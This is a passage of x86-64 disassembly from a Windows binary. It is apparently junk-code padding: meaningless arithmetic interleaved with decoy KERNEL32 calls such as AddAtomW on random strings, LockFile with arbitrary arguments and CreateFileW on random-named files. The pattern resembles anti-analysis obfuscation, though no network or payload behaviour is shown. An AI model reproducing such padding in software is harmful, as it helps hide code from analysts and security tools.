movzx ecx, word [rsp + 0x2ad4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2994], ax
mov eax, dword [rsp + 0xa9d4]
mov ecx, dword [0x140363a64]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8178], eax
mov rax, qword [rsp + 0x13eb8]
mov ecx, dword [rsp + 0xabb4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9784], eax
lea rcx, [rsp + 0x41cb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [0x14035e4a6]
mov qword [0x140363c88], rax
mov rax, qword [rsp + 0x14290]
movzx eax, word [rax]
mov word [rsp + 0x2b60], ax
mov rax, qword [rsp + 0x13e68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab0c], eax
movzx ecx, word [rsp + 0x29b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b58], ax
mov dword [rsp + 0x20], 0x3590
mov r9d, 0x2412
mov r8d, 0x38a5
mov edx, 0x299a
mov rcx, qword [rsp + 0x13ab0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xaa2c], eax
lea rax, [rsp + 0x910c]
mov qword [rsp + 0x145f0], rax
mov rax, qword [rsp + 0x139d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1868]
sub eax, ecx
mov rcx, qword [rsp + 0x14368]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6b6]
movsx ecx, byte [rsp + 0x4ff]
or eax, ecx
mov rcx, qword [rsp + 0x136b8]
mov byte [rcx], al
lea rax, [rsp + 0x2ad0]
mov qword [rsp + 0x145f8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac64], eax
lea rdx, [rsp + 0x142d0]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xabe8], eax
movzx eax, byte [0x14035e48e]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov byte [rsp + 0x65d], al
lea rax, [rsp + 0xab28]
mov qword [rsp + 0x14600], rax
mov rax, qword [rsp + 0x135d8]
mov ecx, dword [rsp + 0xab68]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140363b08], eax
mov rax, qword [rsp + 0x132d0]
mov ecx, dword [rsp + 0x96e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa984], eax
lea rax, [rsp + 0xa764]
mov qword [rsp + 0x14608], rax
mov eax, dword [rsp + 0x8db4]
mov ecx, dword [rsp + 0xab34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa91c], eax
movzx eax, byte [rsp + 0x4f6]
movzx ecx, byte [rsp + 0x6c9]
add eax, ecx
mov rcx, qword [rsp + 0x14230]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
sub eax, ecx
mov word [rsp + 0x2014], ax
mov rax, qword [rsp + 0x13e38]
mov ecx, dword [rsp + 0xa91c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13478]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13cd8]
mov eax, dword [rax]
mov dword [rsp + 0xac68], eax
mov rax, qword [rsp + 0x13840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a0], eax
lea rdx, [rsp + 0x45cb0]
mov rcx, qword [rsp + 0x14118]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xac6c], eax
mov rax, qword [rsp + 0x13f98]
mov eax, dword [rax]
mov rcx, qword [0x1403639a0]
mov qword [rsp + 0x14610], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14610]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x1403639d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6df]
movzx ecx, byte [rsp + 0x22a]
sar eax, cl
mov rcx, qword [rsp + 0x14488]
mov byte [rcx], al
mov rax, qword [rsp + 0x13f78]
movzx eax, word [rax]
mov word [rsp + 0x2b64], ax
movsx eax, word [0x140353b08]
mov rcx, qword [rsp + 0x14578]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x143d0]
mov word [rcx], ax
lea rax, [rsp + 0x28f]
mov qword [rsp + 0x14618], rax
mov rax, qword [0x140363950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8f8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13300]
mov rcx, qword [rsp + 0x133f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7410], eax
lea rcx, [rsp + 0x41bc8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, str.RkZ2lHn_BtH_593j
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b68], ax
lea rax, [rsp + 0x6c6]
mov qword [rsp + 0x14620], rax
mov rcx, qword [rsp + 0x12f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2a80]
movzx ecx, word [0x140362c44]
and eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
lea rcx, [rsp + 0x41c58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13cf0]
mov eax, dword [rax]
mov dword [0x140363c90], eax
lea rax, [rsp + 0xa930]
mov qword [rsp + 0x14628], rax
mov rax, qword [rsp + 0x137d0]
mov ecx, dword [rsp + 0xab3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13508]
mov dword [rcx], eax
mov rax, qword [0x140363b50]
mov ecx, dword [rsp + 0xac58]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa960], eax
lea rax, [rsp + 0x282]
mov qword [rsp + 0x14630], rax
lea rdx, [rsp + 0x45dc8]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab88], eax
mov rax, qword [rsp + 0x14428]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a88]
add eax, ecx
mov word [rsp + 0x2554], ax
mov rcx, qword [rsp + 0x135e0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x145a0]
mov rcx, qword [rsp + 0x145e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x763c], eax
mov rax, qword [rsp + 0x132d0]
mov rcx, qword [rsp + 0x143c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa900], eax
mov rax, qword [rsp + 0x13668]
mov eax, dword [rax]
mov dword [rsp + 0xac70], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac30], eax
mov rax, qword [rsp + 0x14370]
mov ecx, dword [rsp + 0x870c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14035cc18], eax
xor r9d, r9d
lea r8, [rsp + 0x13958]
mov rdx, qword [rsp + 0x14638]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xac10], eax
mov rax, qword [rsp + 0x13d10]
mov rcx, qword [rsp + 0x13d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab48], eax
movsx eax, byte [rsp + 0x6bb]
mov rcx, qword [rsp + 0x13eb0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x134f8]
mov byte [rcx], al
lea rax, [rsp + 0x1cc4]
mov qword [rsp + 0x14640], rax
mov rax, qword [rsp + 0x14038]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d9]
xor eax, ecx
mov byte [rsp + 0x68e], al
lea rax, [rsp + 0x2a14]
mov qword [rsp + 0x14648], rax
mov eax, dword [rsp + 0xa808]
mov rcx, qword [rsp + 0x13ef8]
mov qword [rsp + 0x14650], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14650]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x64f0], eax
mov eax, dword [rsp + 0xa8e8]
mov ecx, dword [rsp + 0xaaa8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa90c], eax
movzx ecx, word [rsp + 0x2b68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2acc], ax
lea rax, [rsp + 0x29a0]
mov qword [rsp + 0x14658], rax
lea rax, [rsp + 0x6c1]
mov qword [0x140363c98], rax
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13920]
mov rcx, qword [rsp + 0x14008]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab24], eax
mov rax, qword [rsp + 0x136e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cd0], eax
mov rax, qword [rsp + 0x13728]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa18], eax
mov eax, dword [0x140363bf8]
mov ecx, dword [rsp + 0xabac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14480]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6d7]
mov byte [rsp + 0x6e4], al
mov rax, qword [rsp + 0x14428]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2554]
add eax, ecx
mov word [rsp + 0x299c], ax
lea rdx, [rsp + 0x14028]
mov rcx, qword [rsp + 0x14218]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac74], eax
lea rax, [rsp + 0xa974]
mov qword [rsp + 0x14660], rax
mov rax, qword [rsp + 0x14258]
mov rcx, qword [rsp + 0x13da8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d90], eax
lea rax, [rsp + 0x2474]
mov qword [0x140363ca0], rax
lea rax, [rsp + 0x92]
mov qword [rsp + 0x14668], rax
movzx eax, word [rsp + 0x184c]
mov rcx, qword [rsp + 0x142c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13948]
mov word [rcx], ax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13468]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x134c8]
mov byte [rcx], al
lea rax, [rsp + 0xa9c8]
mov qword [rsp + 0x14670], rax
mov rax, qword [rsp + 0x14168]
mov ecx, dword [0x14035cc30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab30], eax
mov eax, dword [rsp + 0x9a80]
mov dword [rsp + 0xac78], eax
mov rax, qword [rsp + 0x13cb0]
mov ecx, dword [rsp + 0xac34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13c20]
mov dword [rcx], eax
lea rcx, [rsp + 0x41aa8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x145c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x137f8]
mov qword [rsp + 0x14678], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14678]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x143a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2aa8]
mov rcx, qword [rsp + 0x13400]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2098], ax
movzx eax, byte [rsp + 0x6e3]
movzx ecx, byte [rsp + 0x4bc]
sar eax, cl
mov byte [0x14035e4f4], al
mov rax, qword [rsp + 0x133b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140e8]
mov dword [rcx], eax
lea rax, [rsp + 0xa8c8]
mov qword [rsp + 0x14680], rax
mov rax, qword [rsp + 0x14378]
mov ecx, dword [0x140363ba0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7118]
mov ecx, dword [rsp + 0xaadc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c88], eax
lea rcx, str.VriQDj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b3c], ax
movzx eax, word [rsp + 0x17d4]
mov word [rsp + 0x2b6c], ax
movzx eax, byte [rsp + 0x6b5]
movzx ecx, byte [0x140353577]
sub eax, ecx
mov rcx, qword [rsp + 0x13870]
mov byte [rcx], al
lea rax, [rsp + 0x6d5]
mov qword [rsp + 0x14688], rax
mov rax, qword [rsp + 0x141b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a78]
add eax, ecx
mov rcx, qword [rsp + 0x14518]
mov word [rcx], ax
lea rax, [0x14035cc2c]
mov qword [0x140363ca8], rax
mov rax, qword [rsp + 0x133f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa984]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8dc], eax
movzx eax, byte [rsp + 0x328]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x211], al
mov rax, qword [0x140363a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
or eax, ecx
mov word [rsp + 0x2af0], ax
mov eax, dword [rsp + 0x910c]
mov dword [rsp + 0xac7c], eax
mov rax, qword [rsp + 0x13908]
mov ecx, dword [rsp + 0x7820]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac70], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.PGgupWl
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14690], rax
lea rcx, str.TrQ.R_JyqWSz
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b08], ax
mov rax, qword [rsp + 0x138d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7410]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b70], eax
mov eax, dword [rsp + 0xa724]
mov ecx, dword [rsp + 0xaa5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac44], eax
mov rax, qword [rsp + 0x144a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
shl eax, cl
mov rcx, qword [rsp + 0x135f8]
mov word [rcx], ax
lea rdx, [rsp + 0x45ce8]
mov rcx, qword [rsp + 0x14590]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaad0], eax
mov rax, qword [rsp + 0x136e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4dc]
xor eax, ecx
mov byte [0x140353597], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.5HGacxkCWZJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14698], rax
mov rcx, qword [rsp + 0x13c28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13898]
mov eax, dword [rax]
mov dword [rsp + 0xac80], eax
xor r9d, r9d
lea r8, [rsp + 0x13c00]
mov rdx, qword [rsp + 0x141f0]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa9c], eax
mov rax, qword [rsp + 0x13258]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14258]
mov qword [rsp + 0x146a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x146a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa9d4], eax
lea rax, [rsp + 0xac4c]
mov qword [rsp + 0x146a8], rax
mov rax, qword [rsp + 0x133d0]
mov rcx, qword [rsp + 0x13f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab08], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [0x14035cbdc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a48]
mov dword [rcx], eax
lea rax, [rsp + 0x2ad8]
mov qword [rsp + 0x146b0], rax
mov rax, qword [rsp + 0x13830]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43e]
and eax, ecx
mov byte [rsp + 0x6b6], al
lea rcx, str.QikN_0_KUZkbcAp_SvTEgt1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b70], ax
lea rax, [0x14035cc34]
mov qword [rsp + 0x146b8], rax
mov rax, qword [rsp + 0x14630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e2]
add eax, ecx
mov byte [0x14035359e], al
mov eax, dword [rsp + 0xac54]
mov ecx, dword [rsp + 0xa990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa87c], eax
lea rdx, [rsp + 0x13958]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa958], eax
movzx ecx, word [rsp + 0x2afc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b74], ax
mov eax, dword [rsp + 0x9c08]
mov ecx, dword [rsp + 0xa868]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac54], eax
movzx eax, byte [rsp + 0x51b]
mov byte [rsp + 0x6e5], al
movzx eax, word [rsp + 0x29dc]
mov rcx, qword [rsp + 0x13778]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x135e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x145c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3e0], eax
lea rdx, [rsp + 0x45d58]
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa940], eax
mov rax, qword [rsp + 0x14008]
mov rcx, qword [rsp + 0x13f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x136b0]
mov dword [rcx], eax
mov rax, qword [0x1403639f8]
mov eax, dword [rax]
mov dword [rsp + 0xac84], eax
mov eax, dword [rsp + 0x7dac]
mov ecx, dword [rsp + 0xa978]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab9c], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13a90]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140363b30]
mov word [rcx], ax
mov rax, qword [rsp + 0x13868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ca]
sar eax, cl
mov byte [rsp + 0x256], al
mov eax, dword [rsp + 0x8388]
movzx ecx, al
mov eax, dword [rsp + 0xa8c4]
shl eax, cl
mov dword [rsp + 0x7078], eax
mov r9d, 0x50e
xor r8d, r8d
lea rdx, [rsp + 0x12f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xac88], eax
mov rax, qword [rsp + 0x14500]
mov rcx, qword [rsp + 0x13dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b2c], eax
mov rax, qword [rsp + 0x13ab8]
movzx eax, byte [rax]
mov byte [rsp + 0x6e6], al
movsx eax, word [rsp + 0x2a5c]
movsx ecx, word [rsp + 0x11cc]
sub eax, ecx
mov word [rsp + 0x2544], ax
mov rax, qword [rsp + 0x14268]
movzx eax, word [rax]
movzx ecx, word [0x14035cbec]
or eax, ecx
mov rcx, qword [rsp + 0x13a20]
mov word [rcx], ax
mov rax, qword [rsp + 0x138b0]
movzx eax, byte [rax]
mov byte [rsp + 0x6e7], al
mov rax, qword [rsp + 0x13b28]
mov rcx, qword [rsp + 0x13358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14150]
mov dword [rcx], eax
mov rax, qword [0x140363c70]
mov rcx, qword [rsp + 0x13d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14035cc18], eax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ed4], eax
mov eax, dword [0x140363c90]
mov ecx, dword [rsp + 0xa278]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13820]
mov dword [rcx], eax
mov eax, dword [rsp + 0x95dc]
mov ecx, dword [rsp + 0xab5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13748]
mov dword [rcx], eax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x146c0], rax
mov rax, qword [rsp + 0x133c0]
movzx eax, byte [rax]
mov rcx, qword [0x1403639c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14018]
mov byte [rcx], al
lea rax, [rsp + 0x8db4]
mov qword [rsp + 0x146c8], rax
mov rax, qword [rsp + 0x142f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8cc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
mov rax, qword [rsp + 0x13a60]
mov ecx, dword [rsp + 0x9d18]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x96e4], eax
lea rax, [rsp + 0x73a8]
mov qword [0x140363cb0], rax
mov rax, qword [rsp + 0x13a90]
movzx eax, word [rax]
mov word [rsp + 0x2b78], ax
lea rdx, [rsp + 0x14430]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac8c], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f6]
shl eax, cl
mov rcx, qword [rsp + 0x14570]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x146d0], rax
movsx eax, word [rsp + 0x2b04]
mov rcx, qword [rsp + 0x13428]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2aa0], ax
lea rax, [rsp + 0xa8b0]
mov qword [rsp + 0x146d8], rax
mov rax, qword [rsp + 0x145d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xabb4], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13888]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x138e8]
mov byte [rcx], al
lea rax, [rsp + 0x2484]
mov qword [rsp + 0x146e0], rax
mov r9d, 1
lea r8, [rsp + 0x13e28]
mov rdx, qword [rsp + 0x13058]
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xac90], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov eax, dword [rsp + 0xac48]
mov ecx, dword [rsp + 0xa8c4]
and ecx, eax
mov eax, ecx
mov dword [0x14035cc10], eax
mov rax, qword [rsp + 0x13e40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ba8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x73a0], eax
mov eax, dword [0x1403639b8]
mov ecx, dword [rsp + 0xaa1c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8508], eax
mov rax, qword [rsp + 0x13330]
mov ecx, dword [rsp + 0x70b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa54], eax
movzx eax, word [rsp + 0x1778]
movzx ecx, word [rsp + 0x29cc]
and eax, ecx
mov word [rsp + 0x29a4], ax
lea rax, [rsp + 0x6de]
mov qword [rsp + 0x146e8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1c9a
mov r9d, 0xb5c
mov r8d, 0x96ddae2c
mov edx, 2
mov rcx, qword [rsp + 0x14130]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaa50], eax
mov eax, dword [rsp + 0xab58]
mov ecx, dword [rsp + 0xac5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b00], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.Qre1yKwgUyLohxGGRG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x146f0], rax
lea rax, [rsp + 0xa774]
mov qword [rsp + 0x146f8], rax
mov rax, qword [rsp + 0x13b28]
mov ecx, dword [rsp + 0xa944]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14608]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d18]
mov dword [0x140363c94], eax
mov rax, qword [rsp + 0x14500]
mov rcx, qword [rsp + 0x138b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13a68]
mov dword [rcx], eax
mov rax, qword [0x1403639b0]
movzx eax, byte [rax]
mov byte [rsp + 0x6e8], al
lea rdx, [rsp + 0x144b8]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8a8], eax
movsx eax, word [rsp + 0x2ae0]
mov rcx, qword [rsp + 0x141b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x197c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa964], eax
lea rcx, str.L09p
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b7c], ax
movzx eax, byte [rsp + 0x42a]
mov byte [rsp + 0x6e9], al
movzx eax, word [rsp + 0x2b50]
mov rcx, qword [0x140363b88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x13e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa990], eax
mov eax, dword [rsp + 0xac18]
mov rcx, qword [rsp + 0x13258]
mov qword [rsp + 0x14700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14700]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6898], eax
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b8]
xor eax, ecx
mov byte [rsp + 0x24b], al
mov dword [rsp + 0x20], 0x2728
mov r9d, 0x1460
mov r8d, 0x38dd
mov edx, 0x3ee
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa958], eax
lea rax, [rsp + 0x2b00]
mov qword [0x140363cb8], rax
mov eax, dword [rsp + 0x6f68]
mov dword [rsp + 0xac94], eax
mov rax, qword [rsp + 0x14100]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa930]
shl eax, cl
mov dword [rsp + 0x96a4], eax
lea rax, [rsp + 0xaa64]
mov qword [rsp + 0x14708], rax
mov eax, dword [rsp + 0xa8a0]
mov ecx, dword [rsp + 0xaa78]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa808], eax
movzx eax, byte [0x14035e4a6]
movzx ecx, byte [rsp + 0x6e2]
and eax, ecx
mov byte [rsp + 0x6c3], al
mov rax, qword [rsp + 0x13f68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x279c], ax
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa920]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c30], eax
lea rax, [rsp + 0xabb8]
mov qword [rsp + 0x14710], rax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x400]
imul eax, ecx
mov byte [0x14035e48f], al
mov rax, qword [rsp + 0x13e48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e18]
or eax, ecx
mov word [rsp + 0x11cc], ax
movzx eax, byte [rsp + 0x6bc]
movzx ecx, byte [rsp + 0x6de]
add eax, ecx
mov byte [rsp + 0x6c5], al
lea rax, [rsp + 0x1e64]
mov qword [rsp + 0x14718], rax
mov rax, qword [0x140363a68]
mov ecx, dword [rsp + 0xac48]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13330]
mov dword [rcx], eax
lea rdx, [rsp + 0x45dc8]
